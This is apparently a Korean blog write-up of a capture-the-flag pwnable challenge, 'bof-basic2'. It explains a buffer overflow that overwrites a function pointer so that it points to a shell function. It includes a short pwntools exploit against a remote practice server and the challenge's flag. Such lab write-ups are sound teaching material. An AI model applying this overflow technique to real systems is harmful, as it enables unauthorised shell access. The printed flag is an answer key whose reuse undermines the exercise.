카테고리 없음

Layer7 포너블 1차시 문제 풀이 - bof-basic2

leesu0605 2022. 9. 14. 18:18

일단 문제 파일을 받고 ida로 열어보았다.

이런 식의 코드가 나오는데, s의 길이가 128바이트인데 입력받는 길이가 133바이트인 것으로 보아 함수 포인터 v5를 오버플로우 시켜야하는 것 같았다.

즉, sup이라는 함수를 가리키고 있는 v5가 쉘을 실행시키는 함수를 가리키게 해야하는 것이다.
그 후, 파일에 있는 함수 목록을 쭉 보니

쉘을 실행시키는 shell이라는 함수가 있었다.
함수의 주소는 구할 수 있으므로 바로 구했더니

0x804849B라는 주소가 나왔다.

따라서 익스플로잇 코드는 다음과 같다.

from pwn import *

p = remote("pwn.scalart.me", 8002)

p.send(b'A'*128+p32(0x804849B))
p.interactive()

이렇게 짜고 실행시키면

이런 식으로 쉘이 실행되어 권한이 변경된 걸 볼 수 있다.

그 후, 1번 문제처럼 /home/bof_basic2로 이동해 flag를 읽으면 플래그를 얻을 수 있다.

flag : L7{b4dea2614ce91c9fc5621c2efbcad26e}